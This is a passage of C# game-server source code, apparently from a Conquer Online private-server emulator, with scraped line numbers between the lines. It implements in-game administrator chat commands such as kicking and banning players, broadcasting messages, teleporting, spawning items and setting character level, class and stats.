                                        client.Entity.RemoveFlag3((uint)remFlag);
787
                                    }
788
                                    break;
789
                                }
790
                            case "invisible":
791
                                Console.WriteLine("Hammy");
792
                                break;
793
                            case "reloadmobs":
794
                                {
795
                                    client.Map.FreezeMonsters = true;
796
                                    var Clone = client.Map.Entities.Values.ToArray();
797
                                    foreach (var mob in Clone)
798
                                        if (!mob.Companion)
799
                                        {
800
                                            client.Map.Floor[mob.X, mob.Y, Conquer_Online_Server.Game.MapObjectType.Monster, mob] = true;
801
                                            client.Map.Entities.Remove(mob.UID);
802
                                        }
803
                                    Clone = new Game.Entity[0];
804
                                    client.Map.EntityUIDCounter.Now = 400000;
805
                                    client.Map.LoadMonsters();
806
                                    client.Map.FreezeMonsters = false;
807
                                    foreach (Client.GameClient Client in Program.GamePool)
808
                                    {
809
                                        if (Client.Map.ID == client.Map.ID)
810
                                        {
811
                                            Client.Entity.Teleport(Client.Entity.MapID, Client.Entity.X, Client.Entity.Y);
812
                                        }
813
                                    }
814
                                    break;
815
                                }
816
                            case "mobmesh":
817
                                {
818
                                    client.Entity.Body = ushort.Parse(Data[1]);
819
                                    break;
820
                                }
821
                            case "trace":
822
                                {
823
                                    foreach (var pClient in Program.GamePool)
824
                                    {
825
                                        string name = pClient.Entity.LoweredName;
826
                                        if (name.Contains(Data[1]))
827
                                        {
828
                                            client.Entity.Teleport(pClient.Entity.MapID, pClient.Entity.X, pClient.Entity.Y);
829
                                        }
830
                                    }
831
                                    break;
832
                                }
833
                            case "bring":
834
                                {
835
                                    foreach (var pClient in Program.GamePool)
836
                                    {
837
                                        if (pClient.Entity.LoweredName.Contains(Data[1]) || Data[1].ToLower() == "all")
838
                                            if (Data[1].ToLower() == "all")
839
                                            {
840
                                                pClient.Entity.Teleport(client.Entity.MapID,
841
                                                    (ushort)Kernel.Random.Next(client.Entity.X - 5, client.Entity.X + 5),
842
                                                    (ushort)Kernel.Random.Next(client.Entity.Y - 5, client.Entity.Y + 5));
843
                                            }
844
                                            else
845
                                                pClient.Entity.Teleport(client.Entity.MapID, client.Entity.X, client.Entity.Y);
846
847
                                    }
848
                                    break;
849
                                }
850
                            case "restart":
851
                                {
852
                                    Program.CommandsAI("@restart");
853
                                    break;
854
                                }
855
                            case "kick":
856
                                {
857
                                    foreach (var Client in Program.GamePool)
858
                                    {
859
                                        if (Client.Entity.LoweredName.Contains(Data[1]))
860
                                        {
861
                                            Client.Disconnect();
862
                                            break;
863
                                        }
864
                                    }
865
                                    break;
866
                                }
867
                            case "ban":
868
                                {
869
                                    foreach (var Client in Program.GamePool)
870
                                    {
871
                                        if (Client.Account.State >= client.Account.State)
872
                                            continue;
873
                                        if (Client.Entity.LoweredName.Contains(Data[1]))
874
                                        {
875
                                            Client.Account.State = Database.AccountTable.AccountState.Banned;
876
                                            Client.Account.SaveState();
877
878
                                            Client["banhours"] = Data[2].Cast<int>();
879
                                            Client["banreason"] = message_.Substring(Data[0].Length + 1 + Data[1].Length + 1 + Data[2].Length + 1);
880
                                            Client["banstamp"] = DateTime.Now;
881
882
                                            Client.Disconnect();
883
                                            Kernel.SendWorldMessage(new Message(client.Account.State.ToString() + " " + client.Entity.Name + " has banned the player " + Client.Entity.Name, GamePackets.Message.Center));
884
                                            break;
885
                                        }
886
                                    }
887
                                    break;
888
                                }
889
                            case "unban":
890
                                {
891
                                    var Account = new Database.AccountTable(Data[1]);
892
                                    if (Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.Banned)
893
                                    {
894
                                        Account.State = Conquer_Online_Server.Database.AccountTable.AccountState.Player;
895
                                        Account.SaveState();
896
                                        //Account.Savekimo();
897
                                    }
898
                                    break;
899
                                }
900
                            case "banip":
901
                                {
902
                                    string bannedIP = "";
903
                                    foreach (var Client in Program.GamePool)
904
                                    {
905
                                        if (Client.Account.State >= client.Account.State)
906
                                            continue;
907
                                        if (Client.Entity.LoweredName.Contains(Data[1]))
908
                                        {
909
                                            bannedIP = Client.Account.IP;
910
                                            Client.Account.State = Database.AccountTable.AccountState.Banned;
911
                                            Client.Account.SaveState();
912
                                            Database.IPBan.Ban(Client.Account.IP);
913
                                            Client.Disconnect();
914
                                            break;
915
                                        }
916
                                    }
917
                                    if (bannedIP == "")
918
                                        Kernel.SendWorldMessage(new Message(client.Account.State.ToString() + " " + client.Entity.Name + " has banned the IP: " + bannedIP, GamePackets.Message.Center));
919
                                    foreach (var Client in Program.GamePool)
920
                                    {
921
                                        if (Client.Account.State >= client.Account.State)
922
                                            continue;
923
                                        if (Client.Account.IP == bannedIP)
924
                                        {
925
                                            Client.Account.State = Database.AccountTable.AccountState.Banned;
926
                                            Client.Account.SaveState();
927
                                            Client.Disconnect();
928
                                        }
929
                                    }
930
                                    break;
931
                                }
932
                            case "unbanip":
933
                                {
934
                                    Database.IPBan.Unban(Data[1]);
935
                                    break;
936
                                }
937
                            case "chatban":
938
                                {
939
                                    foreach (var Client in Program.GamePool)
940
                                    {
941
                                        if (Client.Entity.Name.Contains(Data[1]))
942
                                        {
943
                                            Client.ChatBanLasts = uint.Parse(Data[2]);
944
                                            Client.ChatBanTime = DateTime.Now;
945
                                            Client.ChatBanned = true;
946
                                        }
947
                                    }
948
                                    break;
949
                                }
950
                            case "increaseexp":
951
                                {
952
                                    client.IncreaseExperience(ulong.Parse(Data[1]), true);
953
                                    break;
954
                                }
955
                            case "chatunban":
956
                                {
957
                                    foreach (var Client in Program.GamePool)
958
                                    {
959
                                        if (Client.Entity.Name.Contains(Data[1]))
960
                                        {
961
                                            Client.ChatBanned = false;
962
                                        }
963
                                    }
964
                                    break;
965
                                }
966
                            case "bc":
967
                                {
968
                                    Game.ConquerStructures.Broadcast.Broadcasts.Clear();
969
                                    Game.ConquerStructures.Broadcast.BroadcastStr broadcast = new Conquer_Online_Server.Game.ConquerStructures.Broadcast.BroadcastStr();
970
                                    broadcast.EntityID = client.Entity.UID;
971
                                    broadcast.EntityName = client.Entity.Name;
972
                                    broadcast.ID = Game.ConquerStructures.Broadcast.BroadcastCounter.Next;
973
                                    broadcast.Message = message_.Remove(0, 2);
974
                                    Kernel.SendWorldMessage(new Message(message_.Remove(0, 2), "ALLUSERS", client.Entity.Name, System.Drawing.Color.Red, GamePackets.Message.BroadcastMessage), Program.GamePool);
975
                                    Game.ConquerStructures.Broadcast.CurrentBroadcast.EntityID = 1;
976
                                    Game.ConquerStructures.Broadcast.CurrentBroadcast = broadcast;
977
                                    break;
978
                                }
979
                            case "broadcast":
980
                                {
981
                                    Game.ConquerStructures.Broadcast.Broadcasts.Clear();
982
                                    Game.ConquerStructures.Broadcast.BroadcastStr broadcast = new Conquer_Online_Server.Game.ConquerStructures.Broadcast.BroadcastStr();
983
                                    broadcast.EntityID = client.Entity.UID;
984
                                    broadcast.EntityName = client.Entity.Name;
985
                                    broadcast.ID = Game.ConquerStructures.Broadcast.BroadcastCounter.Next;
986
                                    broadcast.Message = message_.Remove(0, 9);
987
                                    Kernel.SendWorldMessage(new Message(message_.Remove(0, 9), "ALLUSERS", client.Entity.Name, System.Drawing.Color.Red, GamePackets.Message.BroadcastMessage), Program.GamePool);
988
                                    Game.ConquerStructures.Broadcast.CurrentBroadcast.EntityID = 1;
989
                                    Game.ConquerStructures.Broadcast.CurrentBroadcast = broadcast;
990
                                    break;
991
                                }
992
                            case "ann":
993
                                {
994
                                    Kernel.SendWorldMessage(new Message("[Announce] by " + client.Entity.Name + ": " + Mess.Remove(0, 3), System.Drawing.Color.Red, Network.GamePackets.Message.Center), Program.GamePool);
995
                                    Kernel.SendWorldMessage(new Message("[Announce] by " + client.Entity.Name + ": " + Mess.Remove(0, 3), System.Drawing.Color.Red, Network.GamePackets.Message.World), Program.GamePool);
996
                                    break;
997
                                }
998
                            case "announce":
999
                                {
1000
                                    Kernel.SendWorldMessage(new Message("[Announce] by " + client.Entity.Name + ": " + Mess.Remove(0, 8), System.Drawing.Color.Red, Network.GamePackets.Message.Center), Program.GamePool);
1001
                                    Kernel.SendWorldMessage(new Message("[Announce] by " + client.Entity.Name + ": " + Mess.Remove(0, 8), System.Drawing.Color.Red, Network.GamePackets.Message.World), Program.GamePool);
1002
                                    break;
1003
                                }
1004
                            case "arenapoints":
1005
                                {
1006
                                    client.ArenaStatistic.ArenaPoints = uint.Parse(Data[1]);
1007
                                    client.ArenaStatistic.Send(client);
1008
                                    break;
1009
                                }
1010
                            case "record":
1011
                                {
1012
                                    if (client.Account.State != Database.AccountTable.AccountState.ProjectManager)
1013
                                        break;
1014
                                    switch (Data[1])
1015
                                    {
1016
                                        case "on": client.Entity.Mode = Game.Enums.Mode.Recording; break;
1017
                                        case "off": Program.CommandsAI("/saverecord"); break;
1018
                                    } break;
1019
                                }
1020
                            case "clearinventory":
1021
                                {
1022
                                    ConquerItem[] inventory = new ConquerItem[client.Inventory.Objects.Length];
1023
                                    client.Inventory.Objects.CopyTo(inventory, 0);
1024
1025
                                    foreach (ConquerItem item in inventory)
1026
                                    {
1027
                                        client.Inventory.Remove(item, Conquer_Online_Server.Game.Enums.ItemUse.Remove);
1028
                                    }
1029
                                    break;
1030
                                }
1031
                            case "online":
1032
                                {
1033
                                    client.Send(new Message("Online players count: " + Kernel.GamePool.Count, System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft));
1034
                                    string line = "";
1035
                                    foreach (Client.GameClient pClient in Program.GamePool)
1036
                                        line += pClient.Entity.Name + ",";
1037
1038
                                    if (line.Length >= 255)
1039
                                        return true;
1040
                                    client.Send(new GamePackets.Message(line, System.Drawing.Color.Beige, GamePackets.Message.Talk));
1041
                                    break;
1042
                                }
1043
                            case "reallot":
1044
                                {
1045
                                    if (client.Entity.Reborn != 0)
1046
                                    {
1047
                                        client.Entity.Agility = 0;
1048
                                        client.Entity.Strength = 0;
1049
                                        client.Entity.Vitality = 1;
1050
                                        client.Entity.Spirit = 0;
1051
                                        if (client.Entity.Reborn == 1)
1052
                                        {
1053
                                            client.Entity.Atributes = (ushort)(client.ExtraAtributePoints(client.Entity.FirstRebornLevel, client.Entity.FirstRebornLevel)
1054
                                                + 52 + 3 * (client.Entity.Level - 15));
1055
                                        }
1056
                                        else
1057
                                        {
1058
                                            client.Entity.Atributes = (ushort)(client.ExtraAtributePoints(client.Entity.FirstRebornLevel, client.Entity.FirstRebornClass) +
1059
                                                client.ExtraAtributePoints(client.Entity.SecondRebornLevel, client.Entity.SecondRebornClass) + 52 + 3 * (client.Entity.Level - 15));
1060
                                        }
1061
                                        client.CalculateStatBonus();
1062
                                        client.CalculateHPBonus();
1063
                                    }
1064
                                    break;
1065
                                }
1066
                            case "str":
1067
                                {
1068
                                    ushort atr = 0;
1069
                                    ushort.TryParse(Data[1], out atr);
1070
                                    if (client.Entity.Atributes >= atr)
1071
                                    {
1072
                                        client.Entity.Strength += atr;
1073
                                        client.Entity.Atributes -= atr;
1074
                                        client.CalculateStatBonus();
1075
                                        client.CalculateHPBonus();
1076
                                    }
1077
                                    break;
1078
                                }
1079
                            case "agi":
1080
                                {
1081
                                    ushort atr = 0;
1082
                                    ushort.TryParse(Data[1], out atr);
1083
                                    if (client.Entity.Atributes >= atr)
1084
                                    {
1085
                                        client.Entity.Agility += atr;
1086
                                        client.Entity.Atributes -= atr;
1087
                                        client.CalculateStatBonus();
1088
                                        client.CalculateHPBonus();
1089
                                    }
1090
                                    break;
1091
                                }
1092
                            case "vit":
1093
                                {
1094
                                    ushort atr = 0;
1095
                                    ushort.TryParse(Data[1], out atr);
1096
                                    if (client.Entity.Atributes >= atr)
1097
                                    {
1098
                                        client.Entity.Vitality += atr;
1099
                                        client.Entity.Atributes -= atr;
1100
                                        client.CalculateStatBonus();
1101
                                        client.CalculateHPBonus();
1102
                                    }
1103
                                    break;
1104
                                }
1105
                            case "spi":
1106
                                {
1107
                                    ushort atr = 0;
1108
                                    ushort.TryParse(Data[1], out atr);
1109
                                    if (client.Entity.Atributes >= atr)
1110
                                    {
1111
                                        client.Entity.Spirit += atr;
1112
                                        client.Entity.Atributes -= atr;
1113
                                        client.CalculateStatBonus();
1114
                                        client.CalculateHPBonus();
1115
                                    }
1116
                                    break;
1117
                                }
1118
                            case "reborns":
1119
                                {
1120
                                    client.Entity.Reborn = byte.Parse(Data[1]);
1121
                                    break;
1122
                                }
1123
                            case "reborn":
1124
                                {
1125
                                    if (client.Entity.Reborn < 2)
1126
                                    {
1127
                                        if (client.Entity.Class % 10 == 5)
1128
                                        {
1129
                                            if (client.Entity.Class != 15 &&
1130
                                                client.Entity.Class != 25 &&
1131
                                                client.Entity.Class != 45 &&
1132
                                                client.Entity.Class != 55 &&
1133
                                                client.Entity.Class != 65 &&
1134
                                                client.Entity.Class != 75 &&
1135
                                                client.Entity.Class != 135 &&
1136
                                                client.Entity.Class != 145)
1137
                                            {
1138
                                                client.Send(new Message("You need to be an existing class.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft));
1139
                                            }
1140
                                            else
1141
                                            {
1142
                                                byte newclass = 10;
1143
                                                byte.TryParse(Data[1], out newclass);
1144
                                                if (newclass != 11 &&
1145
                                                newclass != 21 &&
1146
                                                newclass != 41 &&
1147
                                                newclass != 51 &&
1148
                                                newclass != 61 &&
1149
                                                newclass != 71 &&
1150
                                                newclass != 132 &&
1151
                                                newclass != 142)
1152
                                                {
1153
                                                    client.Send(new Message("You need to reborn into an existing class. For fire class = 142 and for waters class = 132.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft));
1154
                                                }
1155
                                                else
1156
                                                {
1157
                                                    if (!client.Reborn(newclass))
1158
                                                        client.Send(new Message("You need atleast 2 spaces in your inventory.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft));
1159
                                                }
1160
                                            }
1161
                                        }
1162
                                        else
1163
                                            client.Send(new Message("You need to be a master to be able to reborn.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft));
1164
                                    }
1165
                                    else
1166
                                        client.Send(new Message("You can't reborn any more.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft));
1167
                                    break;
1168
                                }
1169
                            case "egw":
1170
                                {
1171
                                    if (Game.EliteGuildWar.IsWar)
1172
                                    {
1173
                                        Game.EliteGuildWar.IsWar = false;
1174
                                        Kernel.SendWorldMessage(new Message("EliteGuild War is off!", Color.Red, 2011), Program.GamePool);
1175
                                    }
1176
                                    else
1177
                                    {
1178
1179
                                        Game.EliteGuildWar.IsWar = true;
1180
                                        Kernel.SendWorldMessage(new Message("Eliteguild War is on!", Color.Red, 2011), Program.GamePool);
1181
                                    }
1182
                                    break;
1183
                                }
1184
                            case "dc":
1185
                                {
1186
                                    client.Disconnect();
1187
                                    break;
1188
                                }
1189
                            case "prof":
1190
                                {
1191
                                    Interfaces.IProf proficiency = new GamePackets.Proficiency(true);
1192
                                    if (Data.Length > 1)
1193
                                        proficiency.ID = ushort.Parse(Data[1]);
1194
                                    if (Data.Length > 2)
1195
                                        proficiency.Level = byte.Parse(Data[2]);
1196
                                    if (Data.Length > 3)
1197
                                        proficiency.Experience = uint.Parse(Data[3]);
1198
                                    client.AddProficiency(proficiency);
1199
                                    break;
1200
                                }
1201
                            case "spell":
1202
                                {
1203
                                    Interfaces.ISkill spell = new GamePackets.Spell(true);
1204
                                    if (Data.Length > 1)
1205
                                        spell.ID = ushort.Parse(Data[1]);
1206
                                    if (Data.Length > 2)
1207
                                        spell.Level = byte.Parse(Data[2]);
1208
                                    if (Data.Length > 3)
1209
                                        spell.Experience = uint.Parse(Data[3]);
1210
                                    client.AddSpell(spell);
1211
                                    break;
1212
                                }
1213
1214
                            case "level":
1215
                                {
1216
                                    byte level = client.Entity.Level;
1217
                                    byte.TryParse(Data[1], out level);
1218
                                    level = Math.Min((byte)140, Math.Max((byte)1, level));
1219
                                    client.Entity.Level = level;
1220
                                    client.Entity.Experience = 0;
1221
                                    //if (client.Entity.Reborn == 0)
1222
                                    {
1223
                                        Database.DataHolder.GetStats(client.Entity.Class, level, client);
1224
                                        client.CalculateStatBonus();
1225
                                        client.CalculateHPBonus();
1226
                                        client.GemAlgorithm();
1227
                                    }
1228
                                    break;
1229
                                }
1230
                            case "class":
1231
                                {
1232
                                    byte _class = client.Entity.Class;
1233
                                    byte.TryParse(Data[1], out _class);
1234
                                    _class = Math.Min((byte)145, Math.Max((byte)1, _class));
1235
                                    client.Entity.Class = _class;
1236
                                    if (client.Entity.Reborn == 0)
1237
                                    {
1238
                                        Database.DataHolder.GetStats(_class, client.Entity.Level, client);
1239
                                        client.CalculateStatBonus();
1240
                                        client.CalculateHPBonus();
1241
                                        client.GemAlgorithm();
1242
                                    }
1243
                                    break;
1244
                                }
1245
                            case "body":
1246
                                {
1247
                                    ushort body = client.Entity.Body;
1248
                                    ushort.TryParse(Data[1], out body);
1249
                                    if (body != 2001 && body != 2002 && body != 1003 && body != 1004)
1250
                                        return true;
1251
                                    byte realgender = (byte)(client.Entity.Body % 10);
1252
                                    byte gender = (byte)(body % 10);
1253
                                    if (client.Equipment.Objects[8] != null)
1254
                                        if (gender >= 3 && realgender <= 2)
1255
                                            return true;
1256
                                    client.Entity.Body = body;
1257
                                    if (gender >= 3 && realgender <= 2)
1258
                                        client.Entity.Face -= 200;
1259
                                    if (gender <= 2 && realgender >= 3)
1260
                                        client.Entity.Face += 200;
1261
                                    break;
1262
                                }
1263
                            case "hair":
1264
                                {
1265
                                    ushort hair = client.Entity.HairStyle;
1266
                                    ushort.TryParse(Data[1], out hair);
1267
                                    client.Entity.HairStyle = hair;
1268
                                    break;
1269
                                }
1270
                            case "map":
1271
                                {
1272
                                    client.Send(new Message("Map: " + client.Map.ID, System.Drawing.Color.Blue, GamePackets.Message.TopLeft));
1273
                                    break;
1274
                                }
1275
                            case "inv":
1276
                                {
1277
                                    if (client.Entity.Invisable)
1278
                                    {
1279
                                        client.Entity.Invisable = false;
1280
                                        client.SendScreenSpawn(client.Entity, true);
1281
                                    }
1282
                                    else
1283
                                    {
1284
                                        client.Entity.Invisable = true;
1285
                                        client.RemoveScreenSpawn(client.Entity, true);
1286
                                    }
1287
                                    break;
1288
                                }
1289
                            case "tele":
1290
                                {
1291
                                    if (Data.Length > 3)
1292
                                    {
1293
                                        client.Entity.Teleport(ushort.Parse(Data[1]), ushort.Parse(Data[2]), ushort.Parse(Data[3]));
1294
                                    }
1295
                                    break;
1296
                                }
1297
                            case "tele2":
1298
                                {
1299
                                    if (Data.Length > 3)
1300
                                    {
1301
                                        client.Entity.TeleportHouse(ushort.Parse(Data[1]), ushort.Parse(Data[2]), ushort.Parse(Data[3]));
1302
                                    }
1303
                                    break;
1304
                                }
1305
                            case "transform":
1306
                                {
1307
                                    if (client.Entity.Dead)
1308
                                        break;
1309
                                    bool wasTransformated = client.Entity.Transformed;
1310
                                    if (wasTransformated)
1311
                                    {
1312
                                        client.Entity.Hitpoints = client.Entity.MaxHitpoints;
1313
                                        client.Entity.TransformationID = 0;
1314
                                        client.Entity.TransformationStamp = Time32.Now;
1315
                                        return true;
1316
                                    }
1317
                                    ushort transformation = client.Entity.TransformationID;
1318
                                    ushort.TryParse(Data[1], out transformation);
1319
                                    client.Entity.TransformationID = transformation;
1320
                                    client.Entity.TransformationStamp = Time32.Now;
1321
                                    client.Entity.TransformationTime = 110;
1322
                                    SpellUse spellUse = new SpellUse(true);
1323
                                    spellUse.Attacker = client.Entity.UID;
1324
                                    spellUse.SpellID = 1360;
1325
                                    spellUse.SpellLevel = 4;
1326
                                    spellUse.X = client.Entity.X;
1327
                                    spellUse.Y = client.Entity.Y;
1328
                                    spellUse.AddTarget(client.Entity.UID, (uint)0, null);
1329
                                    client.Send(spellUse);
1330
                                    client.Entity.TransformationMaxHP = 3000;
1331
                                    double maxHP = client.Entity.MaxHitpoints;
1332
                                    double HP = client.Entity.Hitpoints;
1333
                                    double point = HP / maxHP;
1334
1335
                                    client.Entity.Hitpoints = (uint)(client.Entity.TransformationMaxHP * point);
1336
                                    client.Entity.Update(Update.MaxHitpoints, client.Entity.TransformationMaxHP, false);
1337
                                    break;
1338
                                }
1339
                            case "item2":
1340
                                {
1341
1342
                                    ConquerItem newItem = new GamePackets.ConquerItem(true);
1343
                                    newItem.ID = uint.Parse(Data[1]);
1344
                                    if (Data.Length > 2)
1345
                                    {
1346
                                        byte plus = 0;
1347
                                        byte.TryParse(Data[2], out plus);
1348
                                        newItem.Plus = Math.Min((byte)12, plus);
1349
                                        if (Data.Length > 3)
1350
                                        {
1351
                                            byte bless = 0;
1352
                                            byte.TryParse(Data[3], out bless);
1353
                                            newItem.Bless = Math.Min((byte)7, bless);
1354
                                            if (Data.Length > 4)
1355
                                            {
1356
                                                byte ench = 0;
1357
                                                byte.TryParse(Data[4], out ench);
1358
                                                newItem.Enchant = Math.Min((byte)255, ench);
1359
                                                if (Data.Length > 5)
1360
                                                {
1361
                                                    byte soc1 = 0;
1362
                                                    byte.TryParse(Data[5], out soc1);
1363
                                                    if (Enum.IsDefined(typeof(Game.Enums.Gem), soc1))
1364
                                                    {
1365
                                                        newItem.SocketOne = (Game.Enums.Gem)soc1;
1366
                                                    }
1367
                                                    if (Data.Length > 6)
1368
                                                    {
1369
                                                        byte soc2 = 0;
1370
                                                        byte.TryParse(Data[6], out soc2);
1371
                                                        if (Enum.IsDefined(typeof(Game.Enums.Gem), soc2))
1372
                                                        {
1373
                                                            newItem.SocketTwo = (Game.Enums.Gem)soc2;
1374
                                                        }
1375
                                                    }
1376
                                                    if (Data.Length > 9)
1377
                                                    {
1378
                                                        byte R = 0, G = 0, B = 0;
1379
                                                        byte.TryParse(Data[7], out R);
1380
                                                        byte.TryParse(Data[8], out G);
1381
                                                        byte.TryParse(Data[9], out B);
1382
                                                        newItem.SocketProgress = (uint)(B | (G << 8) | (R << 16));
1383
                                                    }
1384
                                                }
1385
                                            }
1386
                                        }
1387
                                    }
1388
                                    newItem.Durability = 60;
1389
                                    newItem.MaximDurability = 60;
1390
                                    newItem.Color = (Game.Enums.Color)Kernel.Random.Next(4, 8);
1391
                                    client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd);
1392
                                    break;
1393
                                }
1394
                            case "item":
1395
                                {
1396
                                    if (Data.Length > 2)
1397
                                    {
1398
                                        string ItemName = Data[1].ToLower();
1399
                                        Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.Fixed;
1400
                                        switch (Data[2].ToLower())
1401
                                        {
1402
                                            case "fixed": Quality = Game.Enums.ItemQuality.Fixed; break;
1403
                                            case "normal": Quality = Game.Enums.ItemQuality.Normal; break;
1404
                                            case "normalv1": Quality = Game.Enums.ItemQuality.NormalV1; break;
1405
                                            case "normalv2": Quality = Game.Enums.ItemQuality.NormalV2; break;
1406
                                            case "normalv3": Quality = Game.Enums.ItemQuality.NormalV3; break;
1407
                                            case "refined": Quality = Game.Enums.ItemQuality.Refined; break;
1408
                                            case "unique": Quality = Game.Enums.ItemQuality.Unique; break;
1409
                                            case "elite": Quality = Game.Enums.ItemQuality.Elite; break;
1410
                                            case "super": Quality = Game.Enums.ItemQuality.Super; break;
1411
                                            case "other": Quality = Game.Enums.ItemQuality.Other; break;
1412
                                            default:
1413
                                                {
1414
                                                    Quality = (Conquer_Online_Server.Game.Enums.ItemQuality)int.Parse(Data[2]);
1415
                                                    break;
1416
                                                }
1417
                                        }
1418
                                        Database.ConquerItemBaseInformation CIBI = null;
1419
                                        foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values)
1420
                                        {
1421
                                            //if (infos.LoweredName == ItemName && Quality == (Game.Enums.ItemQuality)(infos.ID % 10))
1422
                                            {
1423
                                                CIBI = infos;
1424
                                            }
1425
                                        }
1426
                                        if (CIBI == null)
1427
                                            break;
1428
                                        ConquerItem newItem = new GamePackets.ConquerItem(true);
1429
                                        newItem.ID = CIBI.ID;
1430
                                        newItem.Durability = CIBI.Durability;
1431
                                        newItem.MaximDurability = CIBI.Durability;
1432
                                        if (Data.Length > 3)
1433
                                        {
1434
                                            byte plus = 0;
1435
                                            byte.TryParse(Data[3], out plus);
1436
                                            newItem.Plus = Math.Min((byte)12, plus);
1437
                                            if (Data.Length > 4)
1438
                                            {
1439
                                                byte bless = 0;
1440
                                                byte.TryParse(Data[4], out bless);
1441
                                                newItem.Bless = Math.Min((byte)7, bless);
1442
                                                if (Data.Length > 5)
1443
                                                {
1444
                                                    byte ench = 0;
1445
                                                    byte.TryParse(Data[5], out ench);
1446
                                                    newItem.Enchant = Math.Min((byte)255, ench);
1447
                                                    if (Data.Length > 6)
1448
                                                    {
1449
                                                        byte soc1 = 0;
1450
                                                        byte.TryParse(Data[6], out soc1);
1451
                                                        if (Enum.IsDefined(typeof(Game.Enums.Gem), soc1))
1452
                                                        {
1453
                                                            newItem.SocketOne = (Game.Enums.Gem)soc1;
1454
                                                        }
1455
                                                        if (Data.Length > 7)
1456
                                                        {
1457
                                                            byte soc2 = 0;
1458
                                                            byte.TryParse(Data[7], out soc2);
1459
                                                            if (Enum.IsDefined(typeof(Game.Enums.Gem), soc2))
1460
                                                            {
1461
                                                                newItem.SocketTwo = (Game.Enums.Gem)soc2;
1462
                                                            }
1463
                                                        }
1464
                                                        if (Data.Length > 10)
1465
                                                        {
1466
                                                            byte R = 0, G = 0, B = 0;
1467
                                                            byte.TryParse(Data[8], out R);
1468
                                                            byte.TryParse(Data[9], out G);
1469
                                                            byte.TryParse(Data[10], out B);
1470
                                                            newItem.SocketProgress = (uint)(B | (G << 8) | (R << 16));
1471
                                                        }
1472
                                                    }
1473
                                                }
1474
                                            }
1475
                                        }
1476
                                        newItem.Color = (Conquer_Online_Server.Game.Enums.Color)Kernel.Random.Next(4, 8);
1477
                                        if (client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.GameMaster)
1478
                                            newItem.Bound = true;
1479
                                        client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd);
1480
                                    }
1481
                                    break;
1482
                                }
1483
                            case "vend":
1484
                                {
1485
                                    if (client.Entity.VIPLevel < 6)
1486
                                    {
1487
                                        client.Send("You need to be VIP 6 to use @vend");
1488
                                        return true;
1489
                                    }
1490
                                    client.Send(new MapStatus() { BaseID = client.Map.BaseID, ID = client.Map.ID, Status = Database.MapsTable.MapInformations[1036].Status });
1491
                                    client.Booth = new Game.ConquerStructures.Booth(client, new Data(true) { UID = client.Entity.UID });
1492
                                    client.Send(new Data(true) { ID = GamePackets.Data.ChangeAction, UID = client.Entity.UID, dwParam = 0 });
1493
                                    break;
1494
                                }
1495
                        }
1496
                        return true;
1497
                    }
1498
                    #endregion
1499
                    
1500
                    return true;
1501
                }
1502
                return false;
1503
            }
1504
            catch { client.Send(new Message("Impossible to handle this command. Check your syntax.", System.Drawing.Color.BurlyWood, Message.TopLeft)); return false; }
1505
        }